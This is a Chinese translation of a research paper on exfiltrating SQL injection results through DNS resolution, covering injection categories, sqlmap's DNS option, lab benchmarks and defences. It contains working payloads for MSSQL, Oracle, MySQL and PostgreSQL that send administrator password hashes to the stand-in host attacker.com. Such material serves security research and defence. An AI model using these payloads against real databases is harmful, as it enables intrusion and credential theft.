Knight · 2015/03/20 15:30php
原文地址: http://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdfhtml
原文做者: Miroslav Štamparmysql
本文描述了一種利用DNS解析過程獲取惡意SQL查詢結果的先進的SQL注入技術。帶有sql查詢結果的DNS請求最終被攻擊者控制的遠程域名服務器攔截並提取出寶貴的數據。程序員
開源SQL注入工具—SqlMap如今已經能夠自動完成這個任務。隨着SqlMap的升級完成,攻擊者可使用此技術進行快速而低調的數據檢索,尤爲是在其餘標準方法失敗的狀況下。web
滲出是一個軍事術語,指的是經過隱蔽手段從敵人的領土內部盜取資產。現在它在計算機上有一個絕佳的用法,指的是非法從一個系統中提取數據。從域名服務器(DNS)中提取數據的方法被認爲是最隱蔽的滲出方法。這種方法甚至能夠經過一系列的信任主機之外的內部和外部域名服務器進行域名查詢而用於沒有公共網絡鏈接的系統。sql
DNS是一個相對簡單的協議。DNS客戶端發送的查詢語句和相應的DNS服務器返回的響應語句都使用相同的基本的DNS消息格式。除了區傳送爲提升其可靠性使用TCP之外,DNS報文都使用UDP封裝。若是有人使用了Wireshark之類的工具監視機器,一個使用了DNS的隱蔽信道看起來像一系列轉瞬即逝的小光點。數據庫
從安全系統中轉播DNS查詢到任意基於互聯網的域名服務器是實現這一不受控制數據信道的基礎。即便咱們假設目標主機不被容許鏈接到公共網絡,若是目標主機可以解析任意域名,數據仍是可能能夠經由轉發DNS查詢而滲出。後端
當其餘更快的SQL注入(SQLI)數據檢索技術失敗時,攻擊者一般會使用逐位檢索數據的方法,這是一個很是繁雜而費時的流程。所以,攻擊者一般須要發送成千上萬的請求來獲取一個普通大小的表的內容。咱們將要 提到的是一種攻擊者經過利用有漏洞數據庫管理系統(DBMS)發起特製的DNS請求,並在另外一端進行攔截來檢索惡意SQL語句結果(例如管理員密碼),每一個循環可傳輸幾十個結果字符的技術。緩存
根據用於數據檢索的傳輸信道,SQLi可分爲三個獨立的類別:inband, inference(推理) 和out-of-band。安全
Inband技術使用攻擊者和有漏洞的Web應用程序之間現有的渠道來提取數據。一般該通道是標準的Web服務器響應。它的成員union技術使用現有的web頁面輸出惡意SQL查詢的執行結果,而error-based技術則引起特定的惡意SQL查詢的執行結果的DBMS的錯誤消息。
相反的,在Inference技術中,攻擊者經過應用程序表現的差別來推斷數據的值。Inference技術可以逐位提取惡意SQL查詢結果,卻沒有真正傳輸數據。
Inference的核心是在服務器執行一系列的布爾查詢,觀察和最後推導接收結果的含義。根據觀察到的特性,它的成員被稱爲布爾型盲注(bool)和基於時間(time-based)的盲注技術。在布爾型盲注技術中,可見的網絡服務器響應內容的變化被用於區分給定的邏輯問題的答案,
而在基於時間的盲注技術中則經過觀察Web服務器響應時間的變化來推斷答案。
Out-of-band (OOB)技術,與inband相反,使用其它傳輸信道獲取數據,例如超文本傳輸協議和DNS解析協議。當詳細的錯誤信息被禁用、結果被限制或過濾、出站過濾規則不嚴和/或當減小查詢的數目變得極度重要時inference技術看起來像是惟一的選擇,這時使用OOB技術滲透便變得十分有趣。例如,基於HTTP的OOB技術的SQL查詢結果變成了發送給HTTP服務器請求的一部分(例如GET參數值)被能訪問日誌文件的攻擊者控制時。此類的技術不像其它的主流技術被普遍應用,主要是其所需的設置很是複雜,但使用它們能夠克服許多障礙(如避免沒必要要的數據庫寫入和極大地提高利用INSERT/UPDATE語句漏洞的基於時間的SQLI)。
當一個客戶端須要查找程序中使用的網絡名時,它會查詢DNS服務器。DNS查詢有許多不一樣的解析方式:
若是信息已經被預先用相同的查詢得到,客戶端可使用本地緩存信息應答查詢。
DNS服務器可使用其本身的高速緩存和/或區記錄的信息來應答查詢 - 這個過程被稱爲迭代。
DNS服務器也能夠轉發查詢給表明所請求的客戶端的其餘DNS服務器以全面解析名稱,而後將回應發送回客戶端 - 這個過程被稱爲遞歸。
例如,使用遞歸過程解析名稱test.example.com。這種狀況發生於DNS服務器和客戶端都是第一次啓動且沒有能用來解析域名查詢的本地緩存信息。此外,假設客戶端發起的域名查詢是一個本地沒有其配置區域信息的域名。
首先,默認的DNS服務器解析域名的全名而且肯定該域名是一個須要知道地址的權威的頂級域名(TLD)服務器--在這個案例的域名中。而後,它使用迭代(非遞歸)查詢該服務器來得到推薦的example.com域。
當它的地址被完成檢索後,被引用的服務器會被聯接--這其實是一個註冊example.com域的域名服務器。由於它所配置的區域包含了查詢的域名,它會將所獲得的IP地址做爲一個權威響應返回給發起該過程的原始服務器。
當原始的DNS服務器接收到所請求的查詢所得到的權威響應,它轉發該響應回客戶端,遞歸查詢過程結束。 這類的解決方案一般由DNS服務器嘗試解析DNS客戶端發起的遞歸域名查詢時發起的,而且有時被稱爲「遍歷樹」(walking the tree)。
成功利用DNS從有漏洞的數據庫中滲出數據的前提條件是DBMS中有可用的能直接或間接引起DNS解析過程的子程序。 而後這類的子程序被攻擊者利用,做爲攻擊的媒介。
任何能夠接受網絡地址的函數是最有可能被利用來進行這種攻擊的。
擴展存儲程序是一個直接運行在微軟的地址空間庫SQL服務器(MSSQL)的動態連接。有幾個未被公開說明的擴展存儲程序對於實現本文的目的特別有用的。
攻擊者可使用Microsoft Windows通用命名約定(UNC)的文件和目錄路徑格式利用任何如下擴展存儲程序引起DNS地址解析。Windows系統的UNC語法具備通用的形式:
\\ComputerName\SharedFolder\Resource
複製代碼
攻擊者可以經過使用自定義製做的地址做爲計算機名字段的值引起DNS請求。
4.1.1 master..xp_dirtree
擴展存儲程序master..xp_dirtree()用於獲取全部文件夾的列表和給定文件夾內部的子文件夾:
master..xp_dirtree '<dirpath>'
複製代碼
例如,要得到C:\Windows run:裏的全部文件夾和子文件夾:
EXEC master..xp_dirtree 'C:\Windows';
複製代碼
4.1.2 master..xp_fileexist
擴展存儲程序master..xp_fileexist()用於肯定一個特定的文件是否存在於硬盤:
xp_fileexist '
EXEC master..xp_fileexist 'C:\boot.ini';
複製代碼
4.1.3 master..xp_subdirs
擴展存儲程序master..xp_subdirs()用於獲得給定的文件夾內的文件夾列表:
master..xp_subdirs '<dirpath>'
複製代碼
例如,要得到C:\Windows中的全部次級文件夾:
EXEC master..xp_subdirs 'C:\Windows';
複製代碼
4.1.4例子
接下來的是的經過MsSQL的擴展存儲程序master..xp_dirtree()將管理員(sa)的密碼哈希經過DNS傳輸的例子。
#!sql DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.attacker.com'; EXEC('master..xp_dirtree "\\[email protected]+'\foobar$"'); 複製代碼
這種預先計算的形式被使用,由於擴展存儲程序不接受帶有參數的子查詢。於是使用臨時變量存儲SQL查詢的結果。
Oracle提供的PL/ SQL包被捆綁在它的Oracle數據庫服務器來擴展數據庫功能。爲了實現本文的目的,其中幾個用於網絡接入的包讓人特別感興趣。
4.2.1 UTL_INADDR.GET_HOST_ADDRESS
UTL_INADDR包用於互聯網的尋址--諸如檢索本地和遠程主機的主機名和IP的地址。
它的成員函數GET_HOST_ADDRESS()用於檢索特定主機的IP:
UTL_INADDR.GET_HOST_ADDRESS('<host>')
複製代碼
例如,爲了得到test.example.com的IP地址,運行:
SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');
複製代碼
4.2.2 UTL_HTTP.REQUEST
UTL_HTTP包用於從SQL和PL/SQL中標註出HTTP。 它的程序REQUEST()回從給定的地址檢索到的第1-2000字節的數據:
UTL_HTTP.REQUEST('
例如,爲了得到http://test.example.com/index.php頁面的前兩千字節的數據,運行:
SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;
複製代碼
4.2.3 HTTPURITYPE.GETCLOB
HTTPURITYPE類的實例方法GETCLOB()返回從給定地址中檢索到的CLOB(Character Large Object)
HTTPURITYPE('
例如,從頁面http://test.example.com/index.php開始內容檢索 運行:
SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;
複製代碼
4.2.4 DBMS_LDAP.INIT
DBMS_LDAP包使得PL/SQL程序員可以訪問輕量級目錄訪問協議(LDAP)服務器。它的程序INIT()用於初始化與LDAP服務器的會話:
DBMS_LDAP.INIT(('
例如:初始化與主機test.example.com的鏈接 運行:
SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;
複製代碼
攻擊者可使用任何以上提到的Oracle子程序發起DNS請求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()之外的全部可能致使網絡訪問子程序都受到限制。
4.2.5例子
如下例子是系統管理員(SYS)的密碼哈希被Oracle程序DBMS_LDAP.INIT()經過DNS解析機制傳輸:
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.attacker.com',80) FROM DUAL;
複製代碼
4.3.1 LOAD_FILE
MySQL的函數LOAD_FILE()讀取文件內容並將其做爲字符串返回:
LOAD_FILE('
例如,要獲取C:\Windows\system.ini文件的內容 運行:
SELECT LOAD_FILE('C:\\Windows\\system.ini') ;
複製代碼
4.3.2例子
如下是使用MySQL的函數LOAD_FILE()將系統管理員的密碼經過DNS解析機制傳輸的例子:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root'
LIMIT 1),'.attacker.com\\foobar'));
複製代碼
4.4.1 COPY
PostgreSQL的聲明COPY用於在文件系統的文件和表之間拷貝數據:
COPY <table>(<column>,...) FROM '<path>'
複製代碼
例如,爲了將C:\Windows\Temp\users.txt的文件內容拷貝到含有惟一列names的users表中 運行:
COPY users(names) FROM 'C:\\Windows\\Temp\\users.txt'
複製代碼
4.4.2例子 如下是使用PostgreSQL的聲明COPY將系統管理員的密碼經過DNS解析機制傳輸的例子:
#!sql
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)FROM E\'\\\\\\\\'||query_result||E'.attacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
複製代碼
這種預先計算的形式被使用,由於SQL的聲明COPY不接受子查詢。
同時,PostgreSQL的變量都必須被明確地聲明並在子程序(函數或者程序)範圍內使用。所以使用用戶自定義的存儲功能。
如前所述,我選擇的工具SQL注入工具是SqlMap,主要是由於本文的做者也是它的開發者之一,並升級它使其支持DNS滲出。新的命令行選項--dns-domain已經被添加用於運行新的程序流程。有了它,用戶能夠打開DNS滲出的支持,而且通知SqlMap全部被引起DNS解析請求應指向給定域(例如--dns-domain=attacker.com)。
域名服務器條目(如ns1.attacker.com)必須包含一臺正在運行SqlMap的機器的IP地址。
在那裏,SqlMap做爲虛假的名稱服務器運行,提供有效(但假)的響應從而引起傳入的DNS解析請求。虛假的返回響應服務被運行只是爲了馬上解鎖等待中的Web服務器,而不帶有結果,由於程序不是在處理網頁內容自己。
對於每個被下載項目,SqlMap都會發送裏面帶有特製的SQLI DNS滲出向量的正常HTTP請求,而在後臺運行和記錄全部傳入的DNS請求。因爲每一個惡意的SQL查詢結果被獨特的隨機選擇的前綴和後綴字符串封閉,不難分辨該DNS解析請求來自哪一個SQLIDNS滲出向量。另外,因爲那些隨機的封閉字符,幾乎全部的DNS緩存機制都失效了,幾乎是在強迫服務器進行遞歸DNS解析。目前已經全面實現了對DBMSes MsSQL, Oracle, MySQL 和 PostgreSQL 的支持。可是,如前面提到的,只有Oracle可以同時支持Windows和Linux後端平臺的攻擊,由於其餘數據庫須要支持處理Windows UNC文件路徑格式。
在SqlMap運行時,union和error-based技術具備最高優先級,主要由於他們的速度快並且不須要特殊的要求。
所以,只有當緩慢inference技術方法是可用的且選項--dns-domain被用戶明確設置時,SqlMap纔會打開對DNS滲出的支持。 每一個DNS解析請求結果都被按照RFC1034規定的DNS域名標準編碼爲十六進制格式。
這種方式使得最終一切非單詞字符都能被保留。此外,表示較長的SQL查詢結果的十六進制被分割。這是必須作的,由於整個域名內的節點標籤(如.example.)被限制在63個字符長度大小。
爲了進行實驗須要配置和使用三臺機器:
1)攻擊機(172.16.138.1)-物理機
Ubuntu 12.04 LTS 64-bit OS running latest
sqlmap v1.0-dev (r5100)12
2) Web (172.16.138.129) –服務器-虛擬機
with Windows XP 32-bit SP1 OS running a XAMPP 1.7.3 instance containing deliberately SQLi vulnerable MySQL/PHP web application
3) DNS服務器(172.16.138.130) –虛擬機
with CentOS 6.2 64-bit OS running a BIND
使用VMware Workstation 8.0.2製造虛擬環境。全部的測試都在本地虛擬網絡(172.16.138.0/24)中進行。攻擊機被用於攻擊有漏洞的web服務器DNS服務器被用於註冊域名服務器並處理web服務器對域名attacker.com的 DNS解析並將它們返回到攻擊機。
全部的SqlMap支持的技術都進行了測試,包括最新實現支持的DNS滲出。HTTP請求的數量和所花費的時間都被系統的information_schema表記錄、測量。COLLATIONS表用於被拖(大概4KB)。
表1.SQLI技術的速度對比
Method | # of requests | Time (sec) |
---|---|---|
Boolean-based blind | 29,212 | 214.04 |
Time-based (1 sec) | 32,716 | 17,720.51 |
Error-based | 777 | 9.02 |
Union (full/partial) | 3/136 | 0.70/2.50 |
DNS exfiltration | 1,409 | 35.31 |
從表1中給出的結果能夠看出,inband技術(union和error-based)是最快的方法,而inference技術(布爾型盲注和基於時間的盲注)是最慢的。
DNS滲出,如預期那樣,比最慢的inband(error-based)慢,但比最快的推斷方法(布爾型盲注)快。
基於時間的盲注很明顯太慢了。 現實中,由於鏈接的延遲和須要時間加載正常尺寸的頁面,全部的技術註定會因每一個請求的而有額外的延遲。
在使用SQLI攻擊有漏洞頁面時一個小的表會被返回,這使得鏈接讀取得很是快。
此外,在現實生活中的場景中,沒必要要的鏈接延遲將引發time-based技術須要更高的延遲時間,使得dump進程更慢。
在真實的生活場景中還有一個事實是,DNS滲出的技術在使用非本地的DNS服務器將有額外的延遲。
然而,它和inference技術之間差異仍然很大,由於後者須要更多的時間去恢復相同的數據將須要更多的時間來檢索,而爲了獲得相同的數據後者必然有更多的請求。
總而言之,DNS滲出技術的數值看起來更好一點,使其成爲inference方法的一個完美的替代品。
圖3: 捕獲到的SqlMap使用DNS滲出時的流量
爲了預防所本文描述的攻擊,首先要避免SQLI具備最高的優先權。
使用預處理語句被認爲是最安全的預防措施。
預處理語句能在SQL命令被插入的時候確保查詢的意圖不被攻擊者改變。
但像magic_quote()和addslashes()那樣的各類禁制機制並不能徹底防止SQLI漏洞的存在或利用,由於在某些技術配合使用的環境條件下,攻擊者仍能利用該漏洞。
相反,若是不使用預處理語句,推薦使用輸入校檢拒絕惡意的輸入,而不是轉義或修飾。
管理員應該準備好應對未經受權的底層數據庫訪問。
好多反擊措施是將全部數據庫的訪問限制在最低權限。
所以,任何給定的權限應該被授予最少的代碼在最短的持續時間內完成工做。
根據這一原則,用戶必須只能得到必要的信息和資源。
最後一步,爲了成功最後緩解DNS滲出攻擊,管理員必須確保全部沒必要要的系統子程序的執行是被限制的。
若是一切都失敗了,攻擊者必須不可以運行那些能夠發起DNS請求的程序。
如今有一些檢測域內DNS流量中惡意活動的工做,但大多缺少實際和主流的解決方案,因此在這裏並不說起。 9總結 本文證實攻擊者如何使用DNS滲出技術大大加快相對緩慢的inference SQLI技術的數據檢索。
此外,該技術只對有漏洞的Web服務器進行必需的請求,從而大幅下降服務器的繁忙程度。
因爲須要控制域名服務器,它可能不會被多數攻擊者所使用。
但它再實施上很簡單的,所以它的實際價值是不可忽略的。
SqlMap已經對它實現支持,所以全部人均可以對它進行進一步研究。
1 sqlmap – automatic SQL injection and database takeover tool, Bernardo Damele A. G., Miroslav Štampar, http://www.sqlmap.org/
2 Exfiltration: How Hackers Get the Data Out, Jart Armin, May 2011, http://news.hostexploit.com/cybercrimenews/4877-exfiltration-how-hackers-get-thedata-out.html
3 Wireshark - network protocol analyzer, Wireshark Foundation,https://www.wireshark.org/
4 The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, Bill Blunden, WordWare Publishing, Inc., 2009
5 DNS as a Covert Channel Within Protected Networks,Seth Bromberger , National Electric Sector Cyber Security Organization (NESCO), January 2001,http://energy.gov/sites/prod/files/oeprod/DocumentsandMedia/DNS_Exfiltration_2011-01-01_v1.1.pdf
6 Data-mining with SQL Injection and Inference, DavidLitchfield, An NGSSoftware Insight Security Research Publication, September 2005,http://www.nccgroup.com/Libraries/Document_Downloads/Data Mining_With_SQL_Injection_and_Inference.sflb.ashx
7 Advanced SQL Injection, Joseph McCray, February 2009,http://www.slideshare.net/joemccray/AdvancedSQLInjectionv2
8 SQL Injection and Data Mining through Inference,David Litchfield, BlackHat EU, 2005, https://www.blackhat.com/presentations/bheurope-05/bh-eu-05-litchfield.pdf
9 SQL – Injection & OOB – channels, Patrik Karlsson,DEF CON 15, August 2007,https://www.defcon.org/images/defcon15/dc15-presentations/dc-15-karlsson.pdf
10 The TCP/IP Guide: A Comprehensive, Illustrated Internet Protocols Reference, Charles M. Kozierok, NoStarch Press, 2005
11 How DNS query works, Microsoft TechNet, January 2005,http://technet.microsoft.com/en us/library/cc775637(v=ws.10).aspx
12 Microsoft Windows 2000 DNS: Implementation and Administration, Kevin Kocis, Sams Publishing, 2001
13 Useful undocumented extended stored procedures,Alexander Chigrik, 2010,http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm
14 Oracle9i XML API Reference - XDK and OracleXML DB (Release 2), Oracle Corporation, March 2002,http://docs.oracle.com/cd/B10501_01/appdev.920/a96616.pdf
15 Hacking Oracle From Web Apps, Sumit Siddharth,Aleksander Gorkowienko, 7Safe, DEF CON 18,November 2010,https://www.defcon.org/images/defcon-18/dc18-presentations/Siddharth/DEFCON-18-Siddharth-Hacking-Oracle-From-Web.pdf
16 Exploiting PL/SQL Injection With Only CREATE SESSION Privileges in Oracle 11g, David Litchfield, AnNGSSoftware Insight Security Research Publication,October 2009, http://www.databasesecurity.com/ExploitingPLSQLinOracle11g.pdf
17 RFC 1034: Domain Names – Concepts andFacilities, Paul Mockapetris, November 1987,https://www.ietf.org/rfc/rfc1034.txt
18 SQL Injection Prevention Cheat Sheet, Open Web Application Security Project, March 2012,https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
19 Parametrized SQL statement, Rosetta Code, August 2011,http://rosettacode.org/wiki/Parametrized_SQL_statement
20 SQL Injection Attacks and Defense, Justin Clarke,Syngress, 2009
21 addslashes() Versus mysql_real_escape_string(),Chris Shiflett, January 2006,http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
22 Advanced SQL Injection, Victor Chapela, Sm4rtSecurity Services, OWASP, November 2005,https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
23 Security Overview (ADO.NET), MSDN, Microsoft,2012.,http://msdn.microsoft.com/enus/library/hdb58b2f.aspx
24 The Web Application Hacker's Handbook: Findingand Exploiting Security Flaws, Dafydd Stuttard, MarcusPinto, John Wiley & Sons, 2011
25 Detecting DNS Tunnels Using Character Frequency Analysis, Kenton Born, Dr. David Gustafson, Kansas State University, April 2010,http://arxiv.org/pdf/1004.4358.pdf
26 Finding Malicious Activity in Bulk DNS Data, EdStoner, Carnegie Mellon University, 2010, www.cert.org/archive/pdf/research-rpt2009/stoner-mal-act.pdf